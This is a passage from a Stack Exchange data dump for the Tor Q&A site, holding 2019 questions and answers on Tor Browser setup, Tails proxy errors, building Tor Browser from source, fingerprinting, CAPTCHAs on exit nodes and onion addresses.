CONTROLLER      (circuit built by a controller)&#xA;      MEASURE_TIMEOUT (circuit being kept around to see how long it takes)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26945" LastActivityDate="2019-05-17T03:19:47.507" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19876" PostTypeId="1" CreationDate="2019-05-18T13:01:11.213" Score="0" ViewCount="811" Body="&lt;p&gt;I downloaded TOR from the Tor website and used it, it works, UNTIL I move the folder to a different location then it completely loses connection and doesnt work with any website. I found a few websites claiming to have Tor portable but they are old versions and when I ran them they could not establish a connection to the Tor network. I need a portable version of Tor that I can move wherever or else Tor is useless to me.. Can anyone help?&lt;/p&gt;&#xA;" OwnerUserId="26967" LastActivityDate="2019-07-09T12:47:38.283" Title="How can I make/get TOR portable?" Tags="|windows|tor-install|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19881" PostTypeId="2" ParentId="19876" CreationDate="2019-05-19T03:34:54.483" Score="0" Body="&lt;p&gt;I have your in a thumb drive, I installed it directly to the thumb drive, how ever you need to be careful on which version you are installing, 32 or 64. I used it in three different computers. &lt;/p&gt;&#xA;" OwnerUserId="26974" LastActivityDate="2019-05-19T03:34:54.483" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19882" PostTypeId="1" CreationDate="2019-05-19T10:07:18.397" Score="0" ViewCount="631" Body="&lt;p&gt;It's about accessing the login page of a certain site (starting with &lt;a href=&quot;https://www&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www&lt;/a&gt;.) using one of 3 different ways:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;On a Debian 9.9.0 with Firefox 60.6.1esr access to that site is fine and requires no settings change.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On the same Debian with Tor Browser 8.0.9 access to that site is possible but requires settings changes.&#xA;Under Preferences &gt; General &gt; Network Proxy &gt; Settings&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Check &quot;Use system proxy settings&quot; or &quot;No proxy&quot;&lt;/li&gt;&#xA;&lt;li&gt;Uncheck &quot;Proxy DNS when using SOCKS v5&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With Tails 3.13.2 no combination of Network Proxy Settings leads to the login page of that site. I get one or the other of the following messages:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;Unable to connect &quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;Unable to find the proxy server&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;This page isn't redirecting properly&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Accepting or blocking cookies makes no difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In all 3 cases it's the same computer and the same ISP provider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In cases 1 &amp;amp; 2 the information about the web site is identical and looks fine (to me at least). In case 3 it's unknown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user agent for each case:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Mozilla/5.0 (Windows NT 6.1; rv:60.0) Gecko/20100101 Firefox/60.0&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Same as 2.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any suggestion would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;Lately I've tried with Tails 3.14, the latest version, and I get the exact same outcome. Could somebody give me a suggestion on how to investigate further? Thank You.&lt;/p&gt;&#xA;" OwnerDisplayName="user26970" LastEditorDisplayName="user26970" LastEditDate="2019-05-23T09:24:46.947" LastActivityDate="2022-02-15T17:08:55.993" Title="&quot;This page isn't redirecting properly&quot;" Tags="|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19887" PostTypeId="1" CreationDate="2019-05-21T00:55:33.390" Score="0" ViewCount="143" Body="&lt;p&gt;I'm having trouble launching Tor Browser on MacOS Mojave 10.14.6 Beta. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get the &quot;Tor unexpectedly exited&quot; message and haven't been able to launch it. Copying the Tor Logs returns no errors. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice on how to launch Tor successfully?&lt;/p&gt;&#xA;" OwnerUserId="26985" LastEditorUserId="26985" LastEditDate="2019-06-02T22:56:55.007" LastActivityDate="2019-06-02T22:56:55.007" Title="&quot;Tor unexpectedly exited&quot; on MacOS Mojave 10.14.6 Beta" Tags="|tor-browser-bundle|configuration|mac|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19890" PostTypeId="1" AcceptedAnswerId="19925" CreationDate="2019-05-21T20:46:24.047" Score="0" ViewCount="291" Body="&lt;p&gt;I am actually working on modifying some parts of Tor Browser for my project and for that I will need to build Tor Browser's source code. I was following &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorBrowser/Hacking&quot; rel=&quot;nofollow noreferrer&quot;&gt;this website&lt;/a&gt; and after cloning tor-browser-build repo, I did a &lt;code&gt;make nightly-linux-x86_64&lt;/code&gt;, which took almost half a day to complete on my Ubuntu 18.04 system. But, since I would be making some changes to the browser (mostly Firefox code), I need to alter code and build multiple times.&lt;/p&gt;&#xA;&lt;p&gt;In the above website, there is an option for '&lt;em&gt;Building Just Firefox&lt;/em&gt;' and I decided to try that. As per the above website/doc, I cloned tor-browser repo and followed the instructions. First, the command&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;make $CONFIGURE_ARGS -f client.mk configure CONFIGURE_ARGS=&amp;quot;--with-tor-browser-version=tbb-nightly --with-distribution-id=org.torproject --enable-update-channel=default --enable-bundled-fonts&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;gave me :&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;client.mk:40: /.mozconfig-client-mk: No such file or directory&lt;/p&gt;&#xA;&lt;p&gt;client.mk:72: *** client.mk must be used via &lt;code&gt;mach&lt;/code&gt;. Try running&#xA;&lt;code&gt;./mach configure&lt;/code&gt;.  Stop.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;code&gt;./mach configure&lt;/code&gt; was not working as well, but using &lt;a href=&quot;https://hg.mozilla.org/integration/autoland/rev/36f4ba2fb6f5&quot; rel=&quot;nofollow noreferrer&quot;&gt;this webpage&lt;/a&gt;, I patched the &lt;em&gt;init.configure&lt;/em&gt; file and it worked. But now when I run &lt;code&gt;./mach build&lt;/code&gt;, it finally gives (after doing a lot of compilation):&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Sqb5P.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sqb5P.png&quot; alt=&quot;Error&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So could anyone please guide me as to how should I go about doing this. Basically as I had said in the beginning, I just want to modify and rebuild to test the new code that I would be introducing. Kindly help me out.&lt;/p&gt;&#xA;" OwnerUserId="26993" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2019-05-30T16:06:43.960" Title="Building just Firefox for Tor Browser" Tags="|tor-browser-bundle|firefox|build|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19896" PostTypeId="1" CreationDate="2019-05-22T21:13:09.557" Score="1" ViewCount="52" Body="&lt;p&gt;I tested my TorBrowser with websites like panopticlick. Then downloaded and installed a 2nd TorBrowser to test against.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;a)&lt;/strong&gt; the window size is supposed to be a multiple of 100. but I get slightly different values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;b)&lt;/strong&gt; the two browsers don't return the same window size - they aren't identical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TB1: 1004x820&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TB2: 1004x801&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(one website reports back 988 instead of 1004, and obviously both browsers are running on the same hardware and display)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what is going on here?&#xA;How can my TB become identical to others again?&lt;/p&gt;&#xA;" OwnerUserId="26998" LastActivityDate="2019-05-22T21:13:09.557" Title="What could be the cause for strange size(s) of TorBrowser window?" Tags="|tor-browser-bundle|fingerprinting|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19897" PostTypeId="1" CreationDate="2019-05-22T22:18:57.977" Score="0" ViewCount="833" Body="&lt;p&gt;I need an older version of TOR in order to make it work on my computer. I have had the same computer for 11 years. and it is still in great condition and is still fast. But, I tried installing from your site and it just will not accept any of the versions offered. I had a working version but somebody was &quot;Helping me&quot; and now I can't get it to even start. Can someone please help me find what I need?&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="26781" LastEditorUserId="5234" LastEditDate="2019-06-01T11:54:49.233" LastActivityDate="2019-06-01T11:54:49.233" Title="I need an older version of Tor that will work with Win XP" Tags="|windows|help|tor-install|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19898" PostTypeId="1" CreationDate="2019-05-23T01:29:33.393" Score="2" ViewCount="4015" Body="&lt;p&gt;OK, I am a total newbie and this is probably a dumb question, but I'm going to ask it anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I downloaded the TOR browser from the website, the recommended manner that I'm told to do, and I don't make any changes at all...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were to go to a site ran by someone like Wikilieaks and the page contained image files of classified documents, would those images be stored on my local hard drive just as if I was using Chrome or any other regular browser?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meaning if someone were to come along later and run a forensic program on the computer, would they be able to know I looked at the photographs of the classified documents Wikileaks had posted?  Or is that stuff not stored to the local hard drives?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those of you who are veterans of TOR, forgive me for being such a newb.  I'm just trying to figure out if this is really as secure as I've heard that it is, and if I were to look at something like what I referenced if it was putting me in serious danger.&lt;/p&gt;&#xA;" OwnerUserId="27000" LastActivityDate="2021-11-10T03:06:31.110" Title="Does the Tor Browser store images on a local hard drive" Tags="|tor-browser-bundle|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19899" PostTypeId="2" ParentId="19898" CreationDate="2019-05-23T09:36:27.093" Score="2" Body="&lt;p&gt;If your objective is leave nothing on a hard drive I would suggest to use the Tails system which include, among other things, the Tor browser.&lt;/p&gt;&#xA;" OwnerDisplayName="user26970" LastActivityDate="2019-05-23T09:36:27.093" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19903" PostTypeId="1" CreationDate="2019-05-23T21:35:08.887" Score="0" ViewCount="2295" Body="&lt;p&gt;trying to login to my Bandcamp page,captcha is run by google,keeps denying me. Please help. Same with my yahoo mail. Ugh! &lt;/p&gt;&#xA;" OwnerUserId="27009" LastActivityDate="2019-05-25T00:19:04.433" Title="Can't log on to any site that has Captcha" Tags="|captcha|" AnswerCount="2" CommentCount="1" ClosedDate="2019-06-01T11:54:22.480" ContentLicense="CC BY-SA 4.0" />
  <row Id="19904" PostTypeId="2" ParentId="19903" CreationDate="2019-05-24T03:58:55.297" Score="0" Body="&lt;p&gt;Have you tried having Tor browser use a new circuit, and so have a different exit relay? That helps, sometimes. Some sites just give CAPTCHAs to Tor users. And harder, even impossible, CAPTCHAs for exits that have recently given them lots of abuse. And some sites just block, instead of giving harder CAPTCHAs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some sites enable CloudFlare's option to access via a &lt;a href=&quot;https://www.computerworld.com/article/3050916/cloudflare-aims-to-block-fewer-legitimate-tor-users.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;CloudFlare onion service&lt;/a&gt;. But otherwise, if you want to use Tor for sites that block Tor exits, you'll need use a proxy with Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use Whonix, you can run a VPN in the workstation VM. Tor browser will still use the Tor SocksProxy. But you can remove the SocksProxy setting from Firefox, and it will then connect through the VPN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything in the Whonix workstation VM can only connect via Tor, including the VPN client, so there's no risk of leakage. But it's still far less anonymous than Tor, so it's something that you do when there's no alternative.&lt;/p&gt;&#xA;" OwnerUserId="26945" LastActivityDate="2019-05-24T03:58:55.297" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19905" PostTypeId="1" CreationDate="2019-05-24T07:27:18.073" Score="0" ViewCount="77" Body="&lt;p&gt;Good morning Gentelman, and sorry for my english. I write you because my experience with Tor: I have download tor then I tried to connect me with some link of the hidden wiki, but the connection faild because of time is running up: that’s exactly what is wroten: Tempo per la connessione esaurito&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Il server sta impiegando troppo tempo a rispondere.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Il sito potrebbe essere non disponibile o sovraccarico. Riprovare fra qualche istante.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Se non è possibile caricare alcuna pagina, controllare la connessione di rete del computer.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Se il computer o la rete sono protetti da un firewall o un proxy, assicurarsi che Tor Browser abbia i permessi per accedere al Web&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://deepl.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://deepl.com&lt;/a&gt; the text translates to:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The site may be unavailable or overloaded. Please try again in a few&#xA;  moments.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If no pages can be loaded, check your computer's network connection.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If your computer or network is protected by a firewall or proxy, make&#xA;  sure that Tor Browser has permissions to access the Web&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thank You for you helping me if it is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Michele.&lt;/p&gt;&#xA;" OwnerUserId="27010" LastEditorUserId="88" LastEditDate="2019-05-30T09:30:07.487" LastActivityDate="2019-10-28T22:01:20.220" Title="Help Request time is running out to connect to links" Tags="|configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19906" PostTypeId="2" ParentId="19903" CreationDate="2019-05-24T09:11:46.630" Score="0" Body="&lt;p&gt;There may be two reasons for it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Java Script is restricted in your TOR browser&lt;/li&gt;&#xA;&lt;li&gt;The site (or captcha provider) restrict TOR exit nodes.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For first cause, you can run TOR Browser and use another browser such as FireFox with proxy enabled inside FireFox. The proxy should point to TOR's socks proxy which is usually 127.0.0.1:9150. Here is a screen shot.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/KLYPW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KLYPW.png&quot; alt=&quot;FireFox Socks Proxy Configuration for using TOR&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the second cause, unfortunately there is not a direct way for passing. I mean if Google banned TOR exit nodes, you cannot connect through them. But there is an indirect way: Using VPN through TOR which will change your exit IP (to the VPN's) but keep your main IP address private (through TOR). I've described it more in my blog:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://mstajbakhsh.ir/vpn-or-tor-this-is-the-problem/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mstajbakhsh.ir/vpn-or-tor-this-is-the-problem/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://mstajbakhsh.ir/socks-rocks-again/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mstajbakhsh.ir/socks-rocks-again/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://mstajbakhsh.ir/socks-rocks-the-good-the-bad-and-the-ugly/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mstajbakhsh.ir/socks-rocks-the-good-the-bad-and-the-ugly/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/c1f9C.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/c1f9C.png&quot; alt=&quot;VPN or TOR&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-05-24T09:11:46.630" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19907" PostTypeId="2" ParentId="3932" CreationDate="2019-05-24T09:18:37.347" Score="1" Body="&lt;p&gt;TOR has an option named OBFS (obfuscator) and it is designed to bypass possible filtering by ISPs in accessing TOR. Actually it an option from pluggable transport.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://2019.www.torproject.org/docs/pluggable-transports.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2019.www.torproject.org/docs/pluggable-transports.html.en&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blog.torproject.org/obfsproxy-next-step-censorship-arms-race&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/obfsproxy-next-step-censorship-arms-race&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've put a screenshot of where to find it. Firstly click &lt;strong&gt;cancel&lt;/strong&gt; when TOR is starting up, then click &lt;strong&gt;reconfigure&lt;/strong&gt;, then check &lt;strong&gt;TOR is censored in my country&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XO14U.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XO14U.png&quot; alt=&quot;OBFS configuration in TOR&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-05-24T09:18:37.347" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19908" PostTypeId="2" ParentId="19898" CreationDate="2019-05-24T23:49:41.930" Score="0" Body="&lt;p&gt;Quote: &quot;I'm just trying to figure out if this is really as secure as I've heard that it is&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;May I suggest to find out by yourself?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://2019.www.torproject.org/about/overview.html.en#overview&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2019.www.torproject.org/about/overview.html.en#overview&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Look for the keywords &quot;improve privacy and security&quot;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://theintercept.com/source/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://theintercept.com/source/&lt;/a&gt;&#xA;&lt;a href=&quot;https://ssd.eff.org/en#index&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ssd.eff.org/en#index&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For a secure way to send a file over the internet.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://ssd.eff.org/en#index&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ssd.eff.org/en#index&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For widening your understanding of surveillance, privacy and security.&lt;/p&gt;&#xA;" OwnerDisplayName="user26970" LastActivityDate="2019-05-24T23:49:41.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19910" PostTypeId="2" ParentId="1239" CreationDate="2019-05-25T23:26:03.853" Score="0" Body="&lt;p&gt;Tor sends its own UserAgent Spoof for all websites visited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you need to do is go to the URL: &lt;a href=&quot;https://whichbrowser.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://whichbrowser.net/&lt;/a&gt; in your Tor browser...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... And you will currently get the following information (that shows that Tor is currently using the following UserAgent Override):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;You are using Firefox 60.0 on Windows 7&#xA;Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This browser (version) is acceptable by virtually all websites so there should never be a problem as far as browser compatibility with any website using the Tor browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor should include this info in their FAQ.&lt;/p&gt;&#xA;" OwnerUserId="27016" LastActivityDate="2019-05-25T23:26:03.853" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19915" PostTypeId="1" CreationDate="2019-05-28T15:08:06.457" Score="0" ViewCount="234" Body="&lt;p&gt;I am aware that in general installing addons in TOR is not recommended but OurStickys addon seems like a basic (and very useful) addon: &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/ourstickys/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://addons.mozilla.org/en-US/firefox/addon/ourstickys/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The privacy details in &quot;About this extension&quot; is very clear:&#xA;&quot;Privacy is very important to us. We do not store any sensitive information and we make sure that the information is not accessible by anyone. No third party web application, nowhere to register, nobody to trust your data with.&#xA;NO DATA in any form will be shared with anyone.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although the privacy policy web page is not opening! &lt;a href=&quot;http://ourstickys.com/privacy.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ourstickys.com/privacy.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is it safe to install OurStickys addon?&lt;/p&gt;&#xA;" OwnerUserId="27038" LastActivityDate="2022-02-16T22:04:20.400" Title="Is OurStickys addon safe to use with TOR?" Tags="|add-on|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19916" PostTypeId="2" ParentId="1187" CreationDate="2019-05-28T19:11:20.520" Score="1" Body="&lt;p&gt;Just add to reset the policy to &quot;Apple only&quot; (or whatever it was) afterward.&#xA;The other answer is also wrong, it is fully possible to run what you develop with Xcode and also the Android Studio. &#xA;Use System Preferences is a simple and easy way to do this. And of course you can download a key and patch it in manually also - but use the method that Apple endorses.&#xA;The reason for this is to enable them to halt you should you try to launch something that someone else has managed to download on your Mac, and even created an icon - this is NOT MICROSOFT WINDOWS and we don´t want those policies!&lt;/p&gt;&#xA;" OwnerUserId="22766" LastActivityDate="2019-05-28T19:11:20.520" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19917" PostTypeId="2" ParentId="17812" CreationDate="2019-05-28T22:37:59.613" Score="2" Body="&lt;p&gt;Since &lt;a href=&quot;https://noscript.net/changelog#10.2.2&quot; rel=&quot;nofollow noreferrer&quot;&gt;NoScript 10.2.2&lt;/a&gt; you can check &lt;em&gt;NoScript Options&gt;Advanced&gt;&lt;strong&gt;Override Tor Browser's Security Level preset&lt;/em&gt;&lt;/strong&gt;.&#xA;Also Notice that in Tor Browser 9 NoScript's and HTTPS Everywere's toolbar buttons are hidden in order to further emphasize the Security Level UI: if you need to fine tune the underlying extensions you'll probably want to bring those buttons back from the &lt;em&gt;Customize&lt;/em&gt; menu item.&lt;/p&gt;&#xA;" OwnerUserId="27040" LastActivityDate="2019-05-28T22:37:59.613" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19925" PostTypeId="2" ParentId="19890" CreationDate="2019-05-30T16:06:43.960" Score="0" Body="&lt;p&gt;Finally I did it with the help of the Tor developers (they are really nice!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, as can be seen, the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorBrowser/Hacking&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt; has been updated now and the commands altered a bit. One needs to clone the appropriate branch and not just blindly do a &lt;code&gt;git clone https://git.torproject.org/tor-browser.git&lt;/code&gt;, because this clones the master branch. Use the &lt;code&gt;-b&lt;/code&gt; flag to clone a specific branch, say &lt;code&gt;tor-browser-60.7.0esr-9.0-1&lt;/code&gt; (latest at the time of writing this answer). Now all you need to do is :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;git clone https://git.torproject.org/tor-launcher.git&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;mv tor-launcher browser/extensions/&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;pre&gt;&lt;code&gt;./mach configure --with-tor-browser-version=tbb-nightly --with-distribution-id=org.torproject --enable-update-channel=default --enable-bundled-fonts&lt;/code&gt;&lt;/pre&gt; If you don't have the packages, just do a &lt;code&gt;./mach bootstrap&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;./mach build&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;./mach build stage-package&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;cp -a obj-*/dist/firefox/* path_to_tor_browser_directory/Browser/&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There is one issue that I was facing though. I had the latest rust version, which was 1.35.0 and it won't build (would give me some macro related errors). I had to downgrade rust to v1.29.1 and it worked.&lt;/p&gt;&#xA;" OwnerUserId="26993" LastActivityDate="2019-05-30T16:06:43.960" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19926" PostTypeId="1" AcceptedAnswerId="19933" CreationDate="2019-05-31T00:56:28.020" Score="0" ViewCount="164" Body="&lt;p&gt;I'm learning more about the design of Tor and had thought that hidden services use names like duckduckgo.onion but apparently it's (54 character thing).onion?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do they use human readable names and if so how does the name resolution happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or if it's just 54 characters, how is a visitor supposed to know what 54 characters to use?&lt;/p&gt;&#xA;" OwnerUserId="27053" LastActivityDate="2019-06-01T11:00:54.637" Title="Do Tor hidden services have human readable names and if so how does that work?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19929" PostTypeId="2" ParentId="19905" CreationDate="2019-05-31T19:03:39.053" Score="1" Body="&lt;p&gt;On the upper right of the Tor Browser click on the 3 small horizontal bars, select &quot;Preferences&quot;, on the bottom of the new window under &quot;Network Proxy&quot; click on &quot;Settings&quot; and you will get to the &quot;Network settings/proxy settings for internet access&quot; (Impostazioni di connessione/Configurazione dei proxy per l'accesso a internet).&lt;/p&gt;&#xA;" OwnerDisplayName="user26970" LastActivityDate="2019-05-31T19:03:39.053" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19932" PostTypeId="1" CreationDate="2019-05-31T22:39:47.693" Score="0" ViewCount="1000" Body="&lt;p&gt;When I try to run TOR from the terminal, this message appears:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jun 01 00:17:19.354 [notice] Tor 0.3.2.10 (git-0edaa32732ec8930) running on Linux with Libevent 2.1.8-stable, OpenSSL 1.1.0g, Zlib 1.2.11, Liblzma 5.2.2, and Libzstd 1.3.3.&#xA;Jun 01 00:17:19.354 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Jun 01 00:17:19.389 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;Jun 01 00:17:19.392 [notice] Scheduler type KIST has been enabled.&#xA;Jun 01 00:17:19.392 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Jun 01 00:17:19.392 [warn] Could not bind to 127.0.0.1:9050: Address already in use. Is Tor already running?&#xA;Jun 01 00:17:19.392 [warn] Failed to parse/validate config: Failed to bind one of the listener ports.&#xA;Jun 